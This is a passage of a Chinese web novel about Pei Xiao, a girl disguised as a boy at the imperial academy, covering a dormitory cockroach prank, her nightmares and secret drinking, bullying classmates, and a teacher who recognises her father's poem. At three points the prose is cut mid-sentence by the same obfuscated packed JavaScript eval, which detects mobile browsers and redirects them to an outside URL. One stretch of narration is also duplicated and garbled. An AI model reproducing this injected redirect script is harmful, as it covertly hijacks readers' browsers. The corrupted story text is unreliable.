那少年浓眉长眼,单层眼皮,眼神亮而深邃,见裴逍看过来,笑着道,“方才看到你这棋局,生了兴趣,便坐这里静观了。不想还是打扰了你,抱歉。”
少年声音清朗温煦,甚是好听。
裴逍淡淡道了声“无妨”,便要起身离开。
一把折扇突然拦在了裴逍身前,“可以邀请你手谈一局吗?”
“没兴趣,”裴逍觑了那少年一眼,推开折扇,径直走了。
“这厮无礼至极,你理会他做什么。想下棋我陪你。”身后百里摇光的声音响起。
“哎呀呀,就你那臭棋篓子,快别说笑了。”
“夏!慕!卿!”百里摇光咆哮。
裴逍听到这人名字,心中暗惊了一下。夏是国姓,那这少年是宗室子弟了。国子学学子身份贵重,果然如此。
·
裴逍回到斋舍院子,正碰上祁青阳。
“这么晚,你还没吃晚膳吧?这是我找会馔堂阿婶帮忙留的包子,喏,给你。”祁青阳将一个油纸包递给裴逍,笑着说道。
裴逍对着那油纸包盯了半晌,感觉到眼眶有些发胀,自从一年前难凉寨被灭,已经很久没有人关心她了。她伸手接过,低低道了声,“多谢”,随即扯开步子向斋舍里疾走。
“哎呦,这不也会说谢吗?”百里摇光阴阳怪气的声音在身后响起。
裴逍没理会,径直回了屋,还带上了门。
“你们看看!他又把我关在外面,真是无礼!”百里摇光叫道。
夏慕卿朗笑了几声。祁青阳想替裴逍说些好话,刚一开口,“百里兄——”,便被百里摇光打断道,“叫我摇光就行!”
祁青阳愣了片刻,随即笑笑,接着道,“嗯,摇光。不必生气,裴逍只是性子清冷而已。”
“好吧,看在你的面子上,我不跟他计较。”
·
门被推开,百里摇光目不斜视地进来,径直走向自己床铺那侧,取了面盆面巾,便准备出去打水盥洗。
正在这时,对面斋舍传来惊叫声。
百里摇光听出是夏慕卿的声音,扔了手里东西,就向对面冲去。
裴逍思及祁青阳在对面,放下油纸包,也跟了过去。
一进屋,裴逍便见夏慕卿扒在百里摇光的背上,嘴里“啊”“啊”“这里”“那里”地不停乱叫。百里摇光拿了件衣袍四处乱挥。祁青阳站在床边,举着灯烛在床铺上移动,像是在驱赶什么。
裴逍定睛细看,才发现床铺上、地上、墙上,都有大大小小的蜚蠊在爬行。
“那那那,我的画!”夏慕卿指着墙上一幅山水画叫道。
裴逍顺着看过去,见画上爬了一只几乎有拳头大的蜚蠊。
百里摇光抬手从夏慕卿头上拔下簪子,就掷了过去。那银簪刺破虫身,“叮”的一声,跌在了地上。而那幅画,已被虫尸浊液沾染,污了一大片。
“百里二!你赔我画!”夏慕卿勒住百里摇光的脖子叫道。
“赔!你下来,我赔你!”说着,百里摇光就要将扒在他背上的夏慕卿拽下来。
夏慕卿吓得又往上蹿了蹿,整个儿牢牢扒住百里摇光。
饶是裴逍,都忍不住嘴角弯了一下,没想到就这短暂的笑意还被百里摇光瞥见了,他没好气地道,“看热闹来了?不帮忙就出去!”
裴逍觑了他一眼,跑出了屋。
“果然是来看热闹的。”百里摇光道。
祁青阳从床边直起身子,说道,“蜚蠊是不能踩死或者像方才那样打死的。此虫身体里浊物甚多,有可能导致病害的。我们家中此前发现了,也是优先驱赶出去,赶不出去的话,便拿滚烫的开水,浇到蜚蠊身上,烫死蜚蠊,事后及时将屋子弄干。现在我去烧水,你们不如在院中等我吧。”
“我也去。”
百里摇光和祁青阳一起跑向两个院落外的沐浴房,夏慕卿留在了院子中。
沐浴房旁边便是柴房,两人进去,裴逍已经在烧水了。
“你烧这水,是帮忙的吗?”百里摇光问道。
裴逍没理会,只垫了布块,将锅中开水利落倒进木桶,对祁青阳道,“用这开水浇蜚蠊”。
“好,多谢。”祁青阳提了木桶,飞快跑了出去。
裴逍又将另一桶凉水倒入锅中继续烧,然后到院中井旁打
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799992|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一桶水,提了回来。
百里摇光全程跟在旁边,每要搭手帮忙,裴逍不是侧身避开,就是硬要抢过锅桶不让他碰。
几次下来,百里摇光忍不住道,“你这人,为什么就不肯接受别人相助呢?人活着,怎么可能什么事都自己完成的?如果都像你这样,人人各自活成一只孤鸟,还有什么意思?”
裴逍冷嗤了一声,没有言语,心里却想着,她今日活成一只孤鸟,也不知是拜谁所赐。
·
三个人轮番提了十几桶开水浇去,屋里的蜚蠊死得差不多了。
祁青阳拿了扫帚清扫虫尸,裴逍正准备拿了另一把扫帚帮忙,百里摇光一把抢了过去不算,还瞪了裴逍一眼,仿佛跟人比试赢了似的。
裴逍任由他夺了去,没有理会,随即拿了烛火走到院子里。祁青阳将虫尸倾倒出来,在门外堆了一堆。裴逍用烛火点着,虫尸霹雳吧啦响了起来。
“裴逍,你是不是身上有什么东西?”夏慕卿突然提高声音问道,他站在院子正中,离得远远的。
裴逍抬头疑惑看向夏慕卿,不知他为什么会这么问。
夏慕卿解释道,“我方才见地上那些蜚蠊都会绕开你,猜测可能是你身上有什么东西让那些虫子害怕。”
裴逍半晌没想出来,摇了摇头。
百里摇光将最后一堆虫尸倒进火堆中,夏慕卿看着他道,“这里睡不了了,百里二,今晚我要睡你屋。”
“你睡我屋,我去哪?”
“一起睡啊。”
“我才不跟你一起,你睡地上。”
夏慕卿走近百里摇光,正欲讨好他,忽然想起方才他处理那些蜚蠊搞得浑身脏兮兮的,又跳远了说道,“哎呀,以前又不是没有一起睡过。”
“那时候才几岁,现在可不行,挤都要挤死了。”百里摇光指着对面斋舍道,“你去我柜子里拿出备用的席子被褥来铺地上,我去沐浴。”说着便走开了。
·
夏慕卿进到百里摇光的斋舍,裴逍还在吃祁青阳给她的包子。
“多谢你今晚帮忙,只是那屋子里的器具都有蜚蠊爬过,现在又湿漉漉的,我实在没法在那睡,今晚叨扰借你们斋舍宿一宿,还请见谅。”
夏慕卿的簪子被百里摇光拔去打蜚蠊了,一头墨发全散在肩头,按理该是很狼狈的,但他形容俊美,如此情状,反而有几分洒脱不羁的美感。
裴逍点了下头,想到祁青阳,犹豫了会,还是起身去了对面斋舍。
祁青阳将床褥帐幔全都挪开了,正拿着一块干布擦拭床板。
“祁青阳,今晚睡我斋舍吧,打地铺。”裴逍道。
“不必——”祁青阳刚说完这两个字,裴逍已经出了斋舍门。他无奈轻笑了声,熄了灯火,关上门走到对面。
百里摇光回到斋舍的时候,夏慕卿已经在他衾被里躺得好好的,地上根本没有铺任何东西,反而是裴逍那侧地上有铺盖。
“好你个慕狐狸,敢睡我的床,看我不把你狐狸毛都拔下来!”百里摇光冲向床铺,跃了上去,捉住夏慕卿厮打。
夏慕卿惨叫几声,认输道,“今晚挤一挤吧,已经很晚了,你不睡也别打扰人家裴逍嘛。”
百里摇光停了手,一头倒在枕头上,将夏慕卿使劲往里挤了挤,轻声道,“今日且放你一马,明晚若再这么赖皮,我可不依了。”
没一会,祁青阳也进了屋。他合上门,向着夏慕卿和百里摇光两个人笑着点了点头,轻手轻脚地熄了灯火,倒在地面的铺盖上。
裴逍的床帐早已围好,她倒在床上,听见帐外两个少年嬉闹之声,心里涌上几分苦涩。
她也曾有一个从小一起长大的朋友啊。
5. 第5章
“阿逍,别看书了,来跟我蹴鞠。”薛泽穿着玄色麻衣,抱着一个土褐色的皮鞠跑了进来,拉了裴逍就往门外跑。
“哎呀,我的书!”匆忙间,裴逍想把书卷放回去,山寨里书卷多珍贵啊。她一低头,却发现方才还在手中的书竟然不见了。
裴逍尚在奇怪这事,突然听到师娘的声音,“阿泽你慢点,别把阿逍摔了。”裴逍侧头看去,见师娘抱着浣衣桶,站在房前笑看着他们。
裴逍想跟师娘多说会话,急道“阿泽,你等等。”可她再一回头,却见师娘已经没在那里了。
薛泽拉着她继续在山寨中跑,一路上寨中人看到纷纷打招呼。
“你们俩跑这么快干什么去?”
“阿逍,阿泽,等会我也过去。”
“待会来我家,有好吃的给你们。”
......
接着,裴逍看到了师父。师父推着轮舆,父亲坐在上面。他们身边还站了寨中很多骨干叔伯,聚在一起不知在商议什么。
师父见他们俩在飞奔,挟起长枪一举,冲着他们俩喊道,“你们两个小子又去哪鬼混去?!”
“快跑!快跑!”薛泽一面喊着,一面拉着裴逍跑得更快了。
裴逍只看到父亲笑着拉住了师父,便一下子离远了,再也看不到那些人。
终于到了他们常玩蹴鞠的地方。这是寨子东面一处不长草木的荒地,两侧各有一个鞠门,是用几根木杆和渔网做成的。那简陋的鞠门是寨中的叔伯们,见这些少年小童喜欢,专门给他们做的。
几个小童已经在这里等了,见他们俩过来,便亲热地叫着“阿泽哥、阿逍哥”地迎了上来。
“来来来,我们分两队,阿逍带一队,我带一队。”薛泽熟稔地分了组,一脚鞠踢给了裴逍,“你们先发鞠吧”。
裴逍接到鞠,也没客气,运鞠跑了几步,便飞起一鞠,踢向那鞠门。
那鞠眼看就要入网,突然被薛泽跳起用头给撞开了。
“防得好呀!”裴逍向前跑了几步,抢到那被拦回的鞠,称赞道。
她回过身,却见薛泽趴在地上还没起来。
“阿泽!”
裴逍冲了过去,只见薛泽仍旧面部朝下趴在地上,一动不动。
裴逍坐到地上,两手穿过薛泽腋下,将他翻了过来。
薛泽双眼紧闭,满脸是血,身上还有很多伤口在淌血。
“这是怎么了?阿泽!”
“找大夫!告诉师父!快!”裴逍焦急回头,却发现身后的小童全都不见了,只有几个土包,土包中间插着一块块木牌......
·
裴逍猛得惊醒,才意识到自己躺在床上,身处国子学学生斋舍。
是梦啊。
又梦到他们了。
她坐起来,从枕头里侧摸出一个小瓶子,仰头喝了几口,酒的辛辣味,让她忍不住轻咳了几声。
“你为何不睡?”百里摇光的声音,突然隔着帐幔在床侧响起。
裴逍心惊了一下,将酒藏回枕头下,掀开床帐,暗夜之中,只见一个高长人形立于床侧。
“你又为何不睡?”裴逍轻声反问。
百里摇光低声道,“还不是被你吵醒的”。他本就耳力好,再加上之前在军中,常年警醒,是以,他在裴逍睡梦中气息混乱时就已经醒了。后来又听到裴逍坐起来似喝了什么,还咳嗽起来,便彻底清醒了。
他嗅了嗅鼻子,突然矮下身子,盯住裴逍问道,“你喝酒了?”
“国子学中禁酒,你不知道吗?”
裴逍轻咳了两下,扫了眼帐外。祁青阳睡在地上,夏慕卿睡在对面床上,两人都没有什么动静,应是没有被吵醒。她方才压低声音冷声道,“怎么?你要去告状?”
“我才没兴趣做这种事。”
“不过——”
“你若是告诉我,你为何讨厌我,那我可以考虑帮你保守这个秘密。”百里摇光抬高下巴,将头扭向一边,月光照进来,可以看到他两只眼睛亮闪闪的,一副得意之色。
“随你。”裴逍轻轻吐了两个字,便合上了床帐。她赌百里摇光不会去揭发他,此人天之骄子,当是不屑于去做这样的事。
帐外百里摇光桃花眼大睁,瞪了那床帐半晌,鼻子里长长出了口气,终是没再言语,回去倒头躺下了。
察觉到那边动静,裴逍心里松了口气。从一年前开始,她便时常做梦惊醒,醒后就再也睡不着。她想到父亲以前时常饮酒,醉了后就能好好睡一觉。她便也开始用这个法子,她酒量很差,所以喝点酒,很容易就睡了。
就像现在这样,裴逍沉沉睡去......
·
“昨晚兵荒马乱的都忘了,好好地怎么会有那么多蜚蠊?”
裴逍醒来时,便听到百里摇光说了这么一句。随后是祁青阳压低的声音,“那些蜚蠊可能是被人捉了专门来对付我的,慕卿是被我连累了。”
“为什么要对付你?”百里摇光问。
“我也不知,但想来,大概因为我出身庶族吧。不过这不重要,眼下还是先解决斋舍的问题要紧,我这就去禀告监丞,看院工有什么办法清理那间屋子。”
夏慕卿道,“还是我去吧,隔壁的斋舍是空的,我找监丞沟通把那间安排给我们,且要查一查到底是谁做的这恶心事。——诶,百里二,你这几个发冠好丑!”他戳着百里摇光高几上的东西,牢骚道。
“嫌丑,那我去把昨晚打蜚蠊那支簪子给你捡回来?”
“罢了,罢了。”
听到几人离开,裴逍起床洗漱,嚼了许久含薄荷的茶饼,确定酒味被掩盖住了,才出去用膳。
·
裴逍到课室之时,祁青阳、夏慕卿、百里摇光都已坐在位置上。裴逍在位子上坐下,百里摇光又闻到了淡淡的清凉香气。
这堂是算学课。授课的博士宗郢先生,看起来颇为严肃,有些不苟言笑,年纪约莫四十上下。所讲的算学问题,裴逍倒是都会,因为之前父亲教授过,且家中的小书铺和寨中的账簿,她之前也都曾经看过,对这些算学问题还比较擅长。于是,她一边留心听,一边不动声色地在课室里观察起来。
这课室中现在坐了二十几位少年。大多都是在端坐认真听宗先生授课。
其中,斋长陈致远坐得极为端正,听得也很认真,还不时捻笔记点什么。他头戴一支玉簪,晶莹剔透,配合其身姿气质,倒是有如琢如磨的君子之风。
祁青阳端坐在位子上,眼睛直直看着前方,似乎听得认真,但裴逍总觉得他在出神。
而他旁边的夏慕卿,头上竟是簪了支腊梅,看起来颇为雅致。想起早上他和百里摇光的对话,约莫是不喜欢百里摇光的头饰,索性在书院的园子中折了支梅花插头上了。他一手撑着下巴,另一手手指在桌上轻点,不知是在听还是在走神。
“不好好听课,四处乱看什么?”百里摇光突然在裴逍耳侧轻声说道。
裴逍侧过头,扫了他一眼。
这百里摇光似乎是喜欢简单的东西,只以银冠束发,没有其他繁复的装饰,腰间没佩玉,也没挂香囊。斋舍里他那侧陈设也是如此,只挂了一把剑和一张弓,其他都是国子学斋舍本来配备的柜子、盆架了。
百里摇光被裴逍看得发毛,问道,“你又看我干什么?”
裴逍冷嗤了一声,移开眼。
要说听课最不认真的学子,有两个。
一个是那虞砚,两腿在桌下抖着,东张西望,不知在找什么乐子。此人昨日在会馔堂撞了祁青阳,在课室里又暗自伸腿绊她们,给她的位置上放了坏的凳子,或许祁青阳的凳子也被换过,还有昨晚祁青阳斋舍的那些蜚蠊,怕也是虞砚找人放的。
裴逍从前在雁城刚入县学的时候,尚且因为年纪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799993|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小,身形单薄,被老生捉弄过。在国子学里,遍地权贵后裔,她和祁青阳作为极少数的寒门学子,被视作取乐来源,裴逍倒也不觉得奇怪。只是裴逍脾气不像祁青阳那么好,若惹怒了她,对方也别想占什么便宜。
虞砚旁边那学子,论起不认真听课,比虞砚有过之而无不及。他正是昨日经义课上两次嘲讽谢太傅的那人。他头上插着金簪,低头在桌案上摆弄什么东西。
在一次宗先生背转身的时候,那桌上的东西突然跳起来,竟是只蛐蛐,那少年赶忙扑按,在宗先生转回身前堪堪将那虫子制服。
裴逍轻嗤了一声。
国子学学业按五年设置,第一年是打基础的,儒学经典里主要学习《孝经》、以及诵读初学《论语》,此外还有书学和算学两门课。
第二年,儒学经义课里学习《论语》释义,并开始学习《礼记》,此外还有大夏国史、诗文、算学、礼乐、骑射五门课程。
第三年开始,所有学子便要按儒学十三经,分经来学习了,也就是学子们选择自己最想继续深研的一经作为主修,此外可以再选一、二门经研读,作为辅修。算学课程便不再上,只礼乐和骑射再上一年。
第四年、第五年则完全用来深研儒经。
五年内通二经或三经的,经过考试合格后,可以成功肄业,在肄业考试时成绩优异者可以免除参加科举考试,直接授官。
如果五年内没通过肄业考试也没有通过科考的,可以继续在国子学中以五年生的身份继续学经,最多学至九年,如仍未能通过肄业考试也未科考中第的,将取消学籍。
裴逍便是冲着“国子学肄业考试成绩优异者,可免参加科考直接授官”一条而来。如此便可避开科考身份验证,以男子身份授官。
地方州府选送贡生,升到国子学中,一般需要从一年生开始读,个别经国子学入学考试评测优秀的,可以直接跳至二年生,就像裴逍和祁青阳这样,但这也是极限了,后面必须一年一年读过去。
这是裴逍的路,当然国子学里的这些皇亲国戚、世家权臣之子会有更多的选择。
所以,他们可以任性、肆意嬉戏,就像那课上玩蛐蛐的少年。
·
“夏清泽,你来解下此题。”宗先生突然点名道。
那玩蛐蛐的学子慌了一下,忙站起来,那只蛐蛐三两下跳到了地上,旁边看到的学子低低笑了起来。宗先生的神情越来越严肃。
那少年低着头,四座里看了看,旁边几个人见他看过来,都低了头,虞砚也是如此。大抵他的伙伴跟他情况差不多,不是没听讲,便是不会答。
“课本上这段话下去抄二十遍!”宗先生板着脸道,“坐下吧,后面的学生答一下”。
夏慕卿仍在出神,还是祁青阳手在桌下悄悄拽了下他衣衫,方才反应过来。他站起来,半晌没言语。
祁青阳见此,悄声提醒他答案。不料被那虞砚看见了,当即告状道,“先生,祁青阳在提醒他!”
宗先生道,“那祁青阳来解答。”
祁青阳站起来,分析得头头是道,宗先生听得满意,便道,“好,你坐下。”
随后,他看向站着的夏慕卿斥责道一声,便施施然坐下了,似乎对于宗先生的指责毫不在意。
裴逍倒是对国子学的先,“你与夏清泽,一个安王世子,一个平王世子,身为皇室后裔,在国子学里不知做表率,如此行事,成何体统?!你也抄二十遍!”
“是。”夏慕卿淡淡应了一声,便施施然坐下了,似乎对先生的训斥毫不在意。
裴逍心中倒是对国子学的先生生了几分敬佩,对于皇亲国戚,他们也敢直接训诫,比从前县学的那些先生有魄力多了。
下课钟声响,裴逍收拾了桌上笔墨起身向外走,几个学子从她旁边擦肩过去。裴逍回过头,见虞砚和夏清泽,还有三四个学子一起围住了祁青阳。
6. 第6章
其他学子见可能有纷争,大都匆匆走出课室去了。
虞砚瞪着小眼睛,挡在祁青阳座位前。
祁青阳抬头看了看围着他的几个学子,笑着道,“几位同窗,有何指教?”
“你既然算学学得好,那小爷的那二十遍抄写就交给你了。”夏清泽站在几个学子中间,翘着鼻孔,冲祁青阳说道。
祁青阳还没说话,已经走到课室门口的百里摇光停住脚步,回头大声嘲讽,“你自己没长手吗?”
夏清泽听闻转过身来。裴逍见他长得也颇为俊俏,只是眼尾些微上翘,看起来有些凶,尤其那下巴上扬,用鼻孔看人的样子,难免让人感到不适。
他正要回骂,站在百里摇光身旁的夏慕卿轻笑着道,“怎么能这么说呢?”
“他当然长手了。”
夏清泽脸色略微缓和了些,只听夏慕卿接着道,“只是人家的手要用来和什么蛐蛐、蜚蠊之类的臭虫子玩乐嘛!”
“你——”夏清泽气急败坏,指着夏慕卿正准备回击,祁青阳怕惹起事端,忙道,“我来抄就是,不必争执。”
话音落,前面还留在课室里的林致远,叹了口气起身出去了,行走间还咳嗽了两声。
百里摇光见祁青阳应了,没再说什么,拽了夏慕卿也出去了。
“还有算学课课艺,你也替我做了!”夏清泽道。
“还有我的”、“还有我的”...其他几个少年也纷纷要祁青阳替他们写课艺。
“等等——”裴逍突然开口,“祁青阳算学精进,你们让他替写容易被先生发现,而且这么多人相同笔迹也会被先生看出来。我给你们出个主意,我的课艺做完后,会留在桌案上,各位同窗自行抄去便好了。”
几个纨绔少年回头打量了裴逍一番,互相看看,见夏清泽也没什么意见,虞砚带头道,“那就这么说定了!我们等你的课艺作业。”他们几人见裴逍如此上道,互相说笑推搡着出去了。
祁青阳看向裴逍,笑着道,“多谢你了。”
“不必。”裴逍轻轻抛下这句,当先加快几步走开了。
·
午后是诗文课,授课博士阮柏聿,清俊儒雅,约莫三十上下。
那先生徐徐步入课室,裴逍有些恍惚,从他身上看到了几分父亲的影子。
她久久注视着阮先生,想起了父亲,心下一片悲痛。
“那位学子,你起来说一下。”
裴逍想得出神,突然被百里摇光碰了下胳膊,方才反应过来是先生点到她了。
她站起身,但因为刚在走神,没有细听,此刻低了头才开始回想。她见百里摇光捻笔在纸上快速写了“诗作”两个字,便随口念了几句父亲之前所作的诗,“日月纷纷车走坂,少年意气何由挽。洞庭浪与天地白,尘昏万里东浮眼。”
话音落,阮先生像是愣住了,半天没有开口。
学子们见如此情形,开始渐渐低声议论起来。
裴逍疑惑地看着阮先生,而阮先生也正注视着裴逍,只是裴逍觉得他不是在看自己,而是在透过自己,看另外一个人。正如自己从他身上看父亲的影子一般。
半晌,学子们议论声越来越大,阮先生猛地反应过来,开口问道,“你可知这诗出自何人?”
裴逍恭敬回道,“是家父生前所作。”
“生前?”阮先生喃喃了一声,俊眉轻蹙,眼神也低向地面,似陷入了哀痛之中,眼圈都有些微泛红。
裴逍细细观察着阮先生的神情,心中惊异,难道这人认识父亲?
直到有学子出声提醒,“先生?”阮先生方才看了裴逍一眼,道“好诗,先坐下吧。”说完他转身停顿片刻,不知是不是在整理自己的思绪,而后很快回过身来继续授课。
·
下课时,阮先生喊了裴逍跟他走,到了先生办公所待的堂室。
此时没有其他先生在,阮先生笑着让裴逍坐下,语气温和地问,“你叫什么名字?”
“学生裴氏,单名一个逍字。”
阮先生重复念了几遍裴逍的名字,轻笑了一声,随即点了点头,接着道,”裴逍,我曾有一友,作过一首诗,意境用词与课上你所吟诗句相似,但后来他失去了下落,再未得相见,可否告知令尊的名讳?”
裴逍暗自思索,父亲说过这诗是他写的,以父亲的才华和人品,他没有必要骗自己。那么,这先生很可能是认识她父亲的,不过看其神情不像是对父亲有敌意,裴逍便如实回答道,“家父姓裴,单名秀。”
“裴秀?”阮先生听到这名字似有些意外。
裴逍点了点头。
阮先生脸上的意外转为了失望,他低低叹了口气,半晌没言语。
裴逍心想,看来阮先生的友人并不是父亲。只是奇怪的是,父亲说这诗是他所作,难道是阮先生的友人在哪里看到了父亲以前的诗,之后声称是自己做的?或者说父亲就是阮先生的友人,而父亲与阮先生来往之时,还有另外一个名字?
许久,阮先生又开了口,“你家中是做什么营生的?”
“学生家中有间小铺面,由父亲经营,家中赖此为生。”虽然阮先生可能是父亲的朋友,但是对父亲流落寄身在匪寨的事情,却未必知晓,裴逍决定还是先不要透露这层了。
阮先生点了点头,“原来如此,令尊经营店铺不知做什么生意?”
“书肆。主要租售书籍,也卖些笔墨纸砚等文房之用”。裴逍应道。她家中确有一间小书铺,在雁城县城之中,这是父亲和师父为了让她在县学读书,专门安排的身份和营生。这间小书铺,也是在难凉寨被清剿之后一年里,裴逍的寄身之处。
阮先生微皱的眉头展开了些许,还想再问些什么。裴逍担心,难凉寨的事情被牵连出来,便起身揖礼道,“许是家父在哪里看到了先生友人的大作,记了下来,学生误以为是家父所作,这才闹出了误会,实在是失礼。”
见裴逍突然如此,阮先生一脸错愕,愣了半晌方才道,“约莫是如此,不过不必介怀。我也是因为多年没有故友消息,今日突然听到你念了他的诗,方才想找你来问问,也多谢你告诉我这些,且回去吧。”
“学生告退。”裴逍躬身施礼,腰间一块白色玉佩随着她的动作轻轻晃动。
阮先生凝住那块玉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799994|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,眼神霍然一亮。
·
裴逍回到斋舍院子,见祁青阳和夏慕卿的斋舍房门大开,有院工正在里面做清理。
院子里停着辆马车,有像仆从的人正在往她隔壁的斋舍里搬运物件。
裴逍进了斋舍,夏慕卿坐在正中的圆桌旁,摆了笔砚,正在写什么,见裴逍进来,笑着道,“我和青阳搬到你们隔壁的斋舍了,现下正在收整,今晚就住过去。”
裴逍点了点头做回应。
那侧百里摇光正坐在床边,手中擦拭着一把闪着寒光的剑,埋怨道,“不知道是谁放的那些蜚蠊,害得我昨日累了半夜不说,还没睡好。”
夏慕卿抬眼看向门外,轻笑了下,“既然青阳不想追究,这件事就算了。”
百里摇光还待要问,夏慕卿突然转过脸问,“裴逍,令尊也曾是国子生吗?”
裴逍疑惑看向他,摇了摇头。
“你今日课上所念诗句,我之前读到过。典籍楼里收录有国子学历届学子优秀诗文集,这首就在那里面,不过里面只有前两句。我记得那学子名是叫裴晔。难道不是你父亲?”
裴逍愣住,她心里也生了疑。
如果那诗句确实是父亲所作,那父亲应该就是阮先生所说的朋友,而且他们相交之时父亲用的名字叫做裴晔。可是,自她记事起,便和父亲一起生活在北境雁城的难凉寨中,父亲只说他们是为了躲避仇家待在难凉寨,也是因为这个原因,她才需要自小扮作男童长大。但是,父亲却从没与她说过,他还有一个名字叫裴晔,也从未说过,他曾经是国子生。
“裴逍?”夏慕卿见裴逍半晌不语,出声提醒。
裴逍回过神道,“不是,家父名为裴秀,是个书肆掌柜。想必那诗句是家父之前在哪里读到过写了出来,我误以为是家父作的。”
“原来是这样。”夏慕卿轻点了点头,接着道,“那诗我很喜欢,还想着有机会拜识下作者。这位国子学学兄,可是个奇人,诗词文章妙绝,还是天福十五年的进士科榜首,但是却连为新科进士办的曲江宴都没参加,直接就消失了!”说到这,夏慕卿笑了起来,“据说当时很多人都觉得他是得道升仙了,才放弃了到手的功名权位。”
裴逍将头埋在衣橱门内,掩住了满脸的疑惑。
“无稽之谈。什么修仙问道的,我倒是觉得,这人应该是不愿做官,找什么地方隐居去了。”百里摇光举起手中的剑,一边端详,一边说道。
“我不觉得,你听听这诗,‘日月纷纷车走坂,少年意气何由挽。洞庭浪与天地白,尘昏万里东浮眼。’明明是胸有丘壑,心有凌云志,怎么会隐居呢?”
夏慕卿说完,裴逍低头看向腰间挂的那块玉佩,心中思绪翻涌。
难道,父亲就是裴晔?
他缺席曲江宴,放弃到手的功名远离京师,是因为要躲避仇家?
仇家到底是什么人?
·
“父亲——”夜半,裴逍又一次从噩梦中惊醒。
她还没太清醒过来,百里摇光突然出现在床边,一把掀开她的床帐,怒道,“你到底做了什么亏心事,夜夜做噩梦?”
7. 第7章
裴逍冷冷扫了他一眼,没有回答。她将被子往上提了提,坐起来,伸手摸到酒瓶拿起来打开便要喝。
百里摇光抬手握住裴逍手臂,制止了她,口中道,“年纪不大,怎么天天喝酒?”
裴逍使劲拽了下手臂没拽出来,便抬起右手向百里摇光胸膛攻了过去。
百里摇光脸色微变,松开裴逍,猛地向后退开几步,“真是疯了,不让你喝酒,你还要动手?!”
裴逍举起酒瓶猛灌了一口,咳了两声,合上瓶塞,将酒瓶仍旧塞回枕头里侧,重新合上帐幔,倒了下来。
“爱喝喝去吧。我要再管你,就把头砍下来,给照夜白踢!”帘外百里摇光愤愤骂着也回去倒在了床上。
一会儿的功夫,便听到裴逍那侧传来了平稳的呼吸声,百里摇光桃花眼大睁,喃喃道,“这人到底是有什么毛病?!”一早,阮柏聿面带微笑、步履轻快地迈进课室,朗声道,“今天我们来上史学课。”
原来史学课的授课博士,也是阮先生。
“可能有不少学子会问,学史有什么用?那么我跟诸位讲一句话,历史是最好的老师。我们带着这句话来学习,等到此学年末,相信大家会有更深的体悟。”
“这节课,我先来为诸位讲解下我们大夏朝的历史演进。”
“唐自安史之乱后,逐渐衰微,唐末藩镇割据,皇权旁落,被迫禅让梁王朱温,建立了后梁。此后中原王朝更迭,先后经历梁、唐、晋、汉,直至我朝太祖皇帝郭威建立周朝。后来,世宗皇帝也就是我大夏太宗皇帝柴荣即位,先后灭后蜀、南汉、南唐、吴越、统一中原地区,收回燕云十六州,改国号为大夏,并改皇族姓氏为夏,以示皇族命运与国祚相连。太宗迁都长安,定汴梁为东都......”
这段历史父亲也给裴逍讲过多遍。太宗是不折不扣的一代明君,结束了唐末近百年乱世,一统中原,还将先前战乱中被献给夷狄的燕云十六州都收复了回来。而且太宗在位期间,改革朝政、整军强兵、减少赋税、与民休息、修订礼乐刑典,为大夏王朝开创了大好的江山基业。
“自太宗以来,经高宗传至先帝,朝政清明,百姓安居,边境也较为安宁。直至十几年前,在我朝北部的狄族,突然进犯......”
后面的事情......,想到此前在寨中、在县学听到的,裴逍吸了口凉气,合紧了两只交握在身前的手。
“寰州刺史凌风敖叛国与狄族串通,致使狄族连破边境云州、应州、寰州三城而没有任何军情传回。在寰州城,当时的折冲都尉百里铭将军察觉异常后,率兵欲反凌风敖,被其杀害。”
阮先生讲到此处,裴逍听到旁边百里摇光呼吸声明显加重,桌案下传来了咯吱的声响,裴逍侧头看去,见百里摇光桌案下的一只拳头握得紧紧的,想来方才便是他握紧拳头发出的骨头声响。
百里铭将军。大夏朝百里姓氏少见,可能是百里摇光家族中的长辈吧。军将世家,尽忠职守,没死于战场,却死于自己人的手下,想来可憾亦可悲。
“凌风敖向北狄献城,寰州军民因反抗凌风敖的命令,抵抗狄族,被北狄屠城,全城军民除了凌风敖夫妇,全部丧命。”
课室中异常安静,学子们的呼吸声都能听得清楚,有几个学子愤愤地握紧了拳头。
“北狄继续向南入侵,又攻下了朔州、雁城,这时军情方才传回朝廷。先帝急召忠国公、镇国将军调军增援,守住了雁门关,夺回雁城、朔州,方才平定北境狄患。而朔州城以北的云州、应州、寰州三城至今仍被狄族占据。”
“因为凌风敖叛国,其岳丈一族,也就是先太子太傅谢渊谢家,被全族处死。”
“活该!”一个学子愤怒的声音突然响起,打断了阮先生的讲述。
